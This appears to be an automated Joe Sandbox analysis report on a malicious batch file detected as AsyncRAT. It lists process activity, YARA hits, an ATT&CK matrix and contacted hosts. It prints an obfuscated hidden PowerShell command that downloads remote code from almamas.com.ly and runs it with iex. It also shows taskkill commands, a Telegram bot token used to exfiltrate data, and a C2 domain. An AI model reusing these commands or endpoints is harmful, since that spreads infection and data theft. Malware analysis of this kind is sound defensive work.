Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM MSBuild.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM RegAsm.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cvtres.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM RegSvcs.exe /F	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c powershell -windowstyle hidden -executionpolicy bypass -command "[system.reflection.assembly]::loadwithpartialname('microsoft.visualbasic');$fj=[microsoft.visualbasic.interaction]::callbyname((new-object net.webclient),'downloadstring',[microsoft.visualbasic.calltype]::method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|iex;[byte[]]$f=[microsoft.visualbasic.interaction]::callbyname"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -executionpolicy bypass -command "[system.reflection.assembly]::loadwithpartialname('microsoft.visualbasic');$fj=[microsoft.visualbasic.interaction]::callbyname((new-object net.webclient),'downloadstring',[microsoft.visualbasic.calltype]::method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|iex;[byte[]]$f=[microsoft.visualbasic.interaction]::callbyname"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c powershell -windowstyle hidden -executionpolicy bypass -command "[system.reflection.assembly]::loadwithpartialname('microsoft.visualbasic');$fj=[microsoft.visualbasic.interaction]::callbyname((new-object net.webclient),'downloadstring',[microsoft.visualbasic.calltype]::method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|iex;[byte[]]$f=[microsoft.visualbasic.interaction]::callbyname"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -windowstyle hidden -executionpolicy bypass -command "[system.reflection.assembly]::loadwithpartialname('microsoft.visualbasic');$fj=[microsoft.visualbasic.interaction]::callbyname((new-object net.webclient),'downloadstring',[microsoft.visualbasic.calltype]::method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|iex;[byte[]]$f=[microsoft.visualbasic.interaction]::callbyname"	Jump to behavior

Language, Device and Operating System Detection

Yara detected Obfuscated Powershell

Source: Yara match

File source: Pe4905VGl1.bat, type: SAMPLE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 21.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25702485170.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.257018be6f0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25702485170.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25701854fd0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25701854fd0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25701870610.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.257018be6f0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25701870610.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.3894017282.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1753014941.0000025703E64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1753014941.0000025702269000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1753014941.0000025701869000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1753014941.00000257013AA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1012, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_compiler.exe PID: 6676, type: MEMORYSTR

Source: powershell.exe, 00000004.00000002.2026750928.000002E7E2FEF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :Thu, 05 Oct 2023 08:05:20 GMTr\MsMpeng.exe
Source: powershell.exe, 00000004.00000002.2022032808.000002E7E2DF0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2033951833.000002E7E3091000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	112 Scripting	Valid Accounts	21 Windows Management Instrumentation	112 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	211 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	14 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Obfuscated Files or Information	Security Account Manager	131 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Install Root Certificate	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	41 PowerShell	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	41 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	114 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	41 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	211 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Pe4905VGl1.bat	0%	ReversingLabs

Source	Detection	Scanner	Label
http://localhost:3030/Service.asmx	0%	Avira URL Cloud	safe
https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg	0%	Avira URL Cloud	safe
https://ipinfo.i	0%	Avira URL Cloud	safe
ducksex.ddnsfree.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
ipinfo.io	34.117.59.81	true	false	high
almamas.com.ly	168.119.208.219	true	true	unknown
ducksex.ddnsfree.com	178.208.169.197	true	true	unknown
api.telegram.org	149.154.167.220	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot8168254885:AAGgICtfG4yYWGNfRJQuM0_XqdKd4ysvR5I/sendPhoto	false		high
https://api.telegram.org/bot8168254885:AAGgICtfG4yYWGNfRJQuM0_XqdKd4ysvR5I/sendMessage	false		high
ducksex.ddnsfree.com	true	Avira URL Cloud: safe	unknown
https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg	true	Avira URL Cloud: safe	unknown
https://ipinfo.io/json	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://localhost:3030/Service.asmx	powershell.exe, 00000013.00000002.1753014941.00000257032C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1753014941.0000025703E64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1753014941.00000257028C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1825667488.000002576EEE0000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/missingauth	powershell.exe, 00000004.00000002.1868900966.000002E7CC446000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1868900966.000002E7CC454000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1868900966.000002E7CB0A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1868900966.000002E7CC44A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1868900966.000002E7CC286000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1995041642.000002E7DAD3E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org	powershell.exe, 00000004.00000002.1868900966.000002E7CB25A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.1868900966.000002E7CAEF8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	powershell.exe, 00000004.00000002.1868900966.000002E7CB25A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1868900966.000002E7CC286000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft	powershell.exe, 00000013.00000002.1823355430.000002576D0D4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.1868900966.000002E7CAEF8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot$BotToken/sendPhoto	powershell.exe, 00000004.00000002.1868900966.000002E7CB25A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1868900966.000002E7CC286000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000004.00000002.1868900966.000002E7CC773000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1868900966.000002E7CC454000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1753014941.00000257013AA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ipinfo.io	powershell.exe, 00000004.00000002.1868900966.000002E7CC286000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000004.00000002.1995041642.000002E7DAD3E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000004.00000002.1995041642.000002E7DAD3E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.1868900966.000002E7CAEF8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ipinfo.io	powershell.exe, 00000004.00000002.1868900966.000002E7CC286000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ipinfo.io/missX	powershell.exe, 00000004.00000002.1868900966.000002E7CC454000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot$BotToken/sendMessage	powershell.exe, 00000004.00000002.1868900966.000002E7CB25A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000004.00000002.1995041642.000002E7DAD3E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1995041642.000002E7DAD3E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000004.00000002.1868900966.000002E7CACD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1753014941.0000025700001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ipinfo.i	powershell.exe, 00000004.00000002.1868900966.000002E7CC454000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.1868900966.000002E7CACD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1753014941.0000025700001000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
168.119.208.219	almamas.com.ly	Germany	24940	HETZNER-ASDE	true
178.208.169.197	ducksex.ddnsfree.com	Netherlands	22363	PHMGMT-AS1US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562421
Start date and time:	2024-11-25 15:21:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Pe4905VGl1.bat renamed because original name is a hash value
Original Sample Name:	5dee2d0dd4d3eee97c372b6a8dbd3d3042d24b9483addfa9f8786617a88e268b.bat
Detection:	MAL
Classification:	mal100.troj.expl.evad.winBAT@38/13@5/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 26 Number of non-executed functions: 4
Cookbook Comments:	Found application associated with file extension: .bat Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 199.232.214.172, 40.69.42.241, 192.229.221.95, 199.232.210.172
Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, glb.cws.prod.dcat.dsp.trafficmanager.net, ocsp.edge.digicert.com, sls.update.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Pe4905VGl1.bat

Simulations

Behavior and APIs

Time	Type	Description
09:22:14	API Interceptor	111x Sleep call for process: powershell.exe modified
09:23:21	API Interceptor	6862126x Sleep call for process: aspnet_compiler.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	MSM8C42iAN.exe	Get hash	malicious	DarkCloud	Browse
	November Quotation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	#U06a9#U067e#U06cc #U067e#U0631#U062f#U0627#U062e#U062a - 19112024,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	wMy37vlfvz.exe	Get hash	malicious	DarkCloud	Browse
	dekont 25.11.2024 PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse
	NEW P.O.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	MC8017774DOCS.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Pigroots.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
34.117.59.81	FormulariomillasbonusLATAM_GsqrekXCVBmUf.cmd	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	172.104.150.66.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	VertusinstruccionesFedEX_66521.zip	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	UjbjOP.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	I9xuKI2p2B.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	licarisan_api.exe	Get hash	malicious	Icarus	Browse	ipinfo.io/ip
	build.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	YjcgpfVBcm.bat	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	lePDF.cmd	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	6Mpsoq1.php.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
178.208.169.197	N1f691bk5G.ps1	Get hash	malicious	AsyncRAT	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipinfo.io	Evjm8L1nEb.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	mDHwap5GlV.exe	Get hash	malicious	LummaC Stealer	Browse	34.117.59.81
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	34.117.59.81
	y.bat	Get hash	malicious	Braodo	Browse	34.117.59.81
	https://fxwf9-53194.portmap.io:53194/?x=sb232111	Get hash	malicious	Unknown	Browse	34.117.59.81
